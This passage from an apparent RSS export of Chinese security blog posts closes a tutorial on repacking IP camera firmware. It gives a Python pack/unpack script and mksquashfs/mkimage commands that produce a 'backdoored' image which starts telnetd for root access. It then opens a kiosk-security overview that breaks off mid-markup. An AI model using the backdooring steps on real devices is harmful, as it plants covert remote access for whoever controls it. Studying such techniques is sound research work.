src="https://wechat2rss.xlab.app/img-proxy/?k=c2a2dc22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl45uSnmEULkXv6YG1IBHOKOdtic2KR2RXRCiajfLcibntUUCsVj629wZ5cQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">接下来使用mksquashfs命令将更改后的新文件系统打包</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mksquashfs</span> squashfs_1_out/ squashfs_1_new -comp xz -b <span class="code-snippet__number">131072</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.48115687992988604" data-s="300,640" style="" data-type="png" data-w="2282" src="https://wechat2rss.xlab.app/img-proxy/?k=cf600378&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4hGnXhcnNTwAo1Nqzt6niblwb4wLOZsEVRR8xicBuh752qjOicSchr8peg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们再将<strong>之前的程序加上一个打包功能</strong>，这样我们就可以把这两个squashfs文件系统和jffs2文件系统打包起来。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/usr/bin/env python3</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Firmwarepart</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(self,name,offset,size)</span>:</span></span></code><code><span class="code-snippet_outer">        self.name = name</span></code><code><span class="code-snippet_outer">        self.offset = offset</span></code><code><span class="code-snippet_outer">        self.size = size</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">firmware_parts = [</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;uimage_header&#34;</span>,<span class="code-snippet__number">0x0</span>,<span class="code-snippet__number">0x40</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;uimage_kernel&#34;</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x200000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;squashfs_1&#34;</span>,<span class="code-snippet__number">0x200040</span>,<span class="code-snippet__number">0x350000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;squashfs_2&#34;</span>,<span class="code-snippet__number">0x550040</span>,<span class="code-snippet__number">0xa0000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;jffs2&#34;</span>,<span class="code-snippet__number">0x5F0040</span>,<span class="code-snippet__number">11075648</span><span class="code-snippet__number">-0x5F0040</span>)</span></code><code><span class="code-snippet_outer">]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> sys.argv[<span class="code-snippet__number">1</span>] == <span class="code-snippet__string">&#39;unpack&#39;</span>:</span></code><code><span class="code-snippet_outer">    f = open(sys.argv[<span class="code-snippet__number">2</span>],<span class="code-snippet__string">&#34;rb&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> part <span class="code-snippet__keyword">in</span> firmware_parts:</span></code><code><span class="code-snippet_outer">        outfile = open(part.name,<span class="code-snippet__string">&#34;wb&#34;</span>)</span></code><code><span class="code-snippet_outer">        f.seek(part.offset,<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        data = f.read(part.size)</span></code><code><span class="code-snippet_outer">        outfile.write(data)</span></code><code><span class="code-snippet_outer">        outfile.close()</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">f&#34;Wrote <span class="code-snippet__subst">{part.name}</span> - <span class="code-snippet__subst">{hex(len(data))}</span> bytes.&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">elif</span> sys.argv[<span class="code-snippet__number">1</span>] == <span class="code-snippet__string">&#39;pack&#39;</span>:</span></code><code><span class="code-snippet_outer">    f = open(sys.argv[<span class="code-snippet__number">2</span>],<span class="code-snippet__string">&#34;wb&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> part <span class="code-snippet__keyword">in</span> firmware_parts[<span class="code-snippet__number">1</span>:]:</span></code><code><span class="code-snippet_outer">        i = open(part.name,<span class="code-snippet__string">&#34;rb&#34;</span>)</span></code><code><span class="code-snippet_outer">        data = i.read()</span></code><code><span class="code-snippet_outer">        f.write(data)</span></code><code><span class="code-snippet_outer">        padding = (part.size - len(data))</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">f&#34;Wrote <span class="code-snippet__subst">{part.name}</span> - <span class="code-snippet__subst">{hex(len(data))}</span> bytes.&#34;</span>)</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">f&#34;Padding <span class="code-snippet__subst">{hex(padding)}</span>&#34;</span>)</span></code><code><span class="code-snippet_outer">        f.write(<span class="code-snippet__string">b&#39;\x00&#39;</span> * padding)</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.20829220138203355" data-s="300,640" style="" data-type="png" data-w="2026" src="https://wechat2rss.xlab.app/img-proxy/?k=c45fa7be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4zEeLBiadXbEXh3p2mLbicaFwGLrxzgLyicDYCOQPpCeyHRcUcPz59PadQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">这样我们仅仅将文件系统打包</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">，至于生成镜像的<strong>uImage header</strong>部分我们使用其他工具。先使用binwalk查看一下uImage_header:</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.16372489348752284" data-s="300,640" style="" data-type="png" data-w="3286" src="https://wechat2rss.xlab.app/img-proxy/?k=3fc7d8d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl41icdRzviaLMWHG22KwTACgGmkDw9swW78Curoibb6aUic4TafxAt0R6qeg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">着重关注以上几个部分</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">，接下来使用<strong>mkimage</strong>来生成镜像：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">mkimage</span> <span class="code-snippet__selector-tag">-A</span> <span class="code-snippet__selector-tag">MIPS</span> <span class="code-snippet__selector-tag">-O</span> <span class="code-snippet__selector-tag">linux</span> <span class="code-snippet__selector-tag">-T</span> <span class="code-snippet__selector-tag">firmware</span> <span class="code-snippet__selector-tag">-C</span> <span class="code-snippet__selector-tag">none</span> <span class="code-snippet__selector-tag">-a</span> 0 <span class="code-snippet__selector-tag">-e</span> 0 <span class="code-snippet__selector-tag">-n</span> <span class="code-snippet__selector-tag">jz_fw</span> <span class="code-snippet__selector-tag">-d</span> <span class="code-snippet__selector-tag">demo_backdoored</span><span class="code-snippet__selector-class">.bin</span> <span class="code-snippet__selector-tag">demo_images</span><span class="code-snippet__selector-class">.bin</span></span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.18681318681318682" data-s="300,640" style="" data-type="png" data-w="3276" src="https://wechat2rss.xlab.app/img-proxy/?k=46b8a2c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl44GYJCJWMuuuicV28HpaMo3NjUNsrKVMrmicfpbHY3uP5UZpjJgDjkLCg%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">可以看到我们生成的镜像和之前几乎相同，因为没有实际的摄像头，此处就不对结果进行验证了。最终效果是摄像头启动后可开启telnetd服务，我们可以通过root账号密码管理摄像头。</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">参考链接：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//www.youtube.com/watch?v=hV8W4o-Mu2o</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="94250"><section data-tools="135编辑器" data-id="91842" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section style="text-align: right;width: auto;"><section style="display: inline-block;clear: both;"><section data-brushtype="text" style="padding: 18px 15px 20px 10px;color: rgb(86, 146, 214);background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/djiam4RadAPZb4BDwswTC91BFdg8S5Rl4ibsYD5tz5GDC4PTDC8FB9VTDzhbiahUrQ1PA32iapPE3oQon0NVBejMKg/640?wx_fmt=png&#34;);background-repeat: no-repeat;text-align: center;background-size: 100% 100%;font-size: 16px;letter-spacing: 1.5px;box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 20px;margin-left: 2px;"><img data-ratio="0.8936170212765957" style="width: 20px;margin-bottom:-6px;" data-type="png" data-w="47" src="https://wechat2rss.xlab.app/img-proxy/?k=f30264a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4icfzMPTQy4Gjue98ESEhKgSbwNG55e93TI9zqfpSzbJdEP2AGib60pGQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 14px;color: rgb(51, 51, 51);">你点的每个赞，我都认真当成了喜欢</section></section></section></section></section></section></section></section>



<p><a href="2247486196">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f75decbb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486196%26idx%3D1%26sn%3Dcea3af522247cba28b7dac9fdc19df6f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 17 Jun 2020 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>自助终端设备安全剖析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486060&amp;idx=1&amp;sn=d3efeb71f48f8bc428f14393ec398ba2</link>
      <description>Radon师傅：自助终端设备安全剖析</description>
      <content:encoded><![CDATA[<p>
原创 <span>Radon</span> <span>2020-06-04 21:13</span> <span style="display: inline-block;"></span>
</p>

<p>Radon师傅：自助终端设备安全剖析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a7397d40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUAxufslADIWmicFibc6kwEQTXsqNib0NHLZeIaticvb3oLKeibicOWm2xryicg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><br/></p><p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-ratio="0.45702005730659023" data-s="300,640" style="" data-type="png" data-w="1396" src="https://wechat2rss.xlab.app/img-proxy/?k=83b552e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUcHc9bkjaPNmibRu5UEYIVCbN3NePZWWGslUy5qLb3X012xwEpB1lLWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">随着经济的发展，自动售货机已经出现在大街小巷；在机场、车站等交通系统自助购票、取票也已普及；医院、银行、政务大厅等机构也都遍布着不同的自助终端设备，大大方便了人们的生活水平，提高了办事效率。对于自助终端设备的安全问题，人们的关注点却比较少，<strong>受年华表哥邀请，特写此文对自助终端设备安全做简单的分析与大家交流。</strong></span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="color: rgb(0, 0, 0);font-family: Calibri, sans-serif;font-size: 14px;text-align: center;white-space: normal;caret-color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">0</span><span data-raw-text="1" data-textnode-index="0" data-index="3" class="character">0</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 基本介绍</span></span></strong></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助终端设备是将触控屏和相关系统软件进行结合，再配以相关功能与服务的一种电子终端设备。一般由人机界面组成，由用户根据设备提示进行操作，辅以网络，结合手机终端或设备传感器组件完成整个功能服务流程。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7623456790123457" data-s="300,640" style="" data-type="png" data-w="1296" src="https://wechat2rss.xlab.app/img-proxy/?k=de6043ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUkEDdxMtHEiarc7TaQQhFEtAKrYic026n6TV8OCZUmNwHHN70023uM1sQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: justify;caret-color: rgb(167, 167, 167);"></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助终端设备目前已广泛应用于通讯、金融、政府、交通、医疗、工商、税务等行业。若是按照功能分类基本可以分为：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助充值终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助缴费终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助售货终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助发卡终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助售取票终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助打印终端</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">自助查询终端</span></p></li></ul><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">01</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 操作系统</span></span></strong></span></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">目前，自助终端设备常用的操作系统为Windows和Android这两种，也有少数的Linux系统。</span></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">根据提供的功能服务采用不同的操作系统，比如常见的一些自动售货机、贩卖机大都使用Android系统，系统之上安装服务应用APK。然后通过禁用和隐藏Android导航栏和通知菜单的手段防止用户跳出应用。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">对于一些售取票终端、政务系统等大多数使用的是Windows系统，服务应用通常采用将程序窗口最大化并且始终置顶的方式进行运行，同时隐藏系统桌面和状态栏，使用户只能在当前应用下操作。</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, 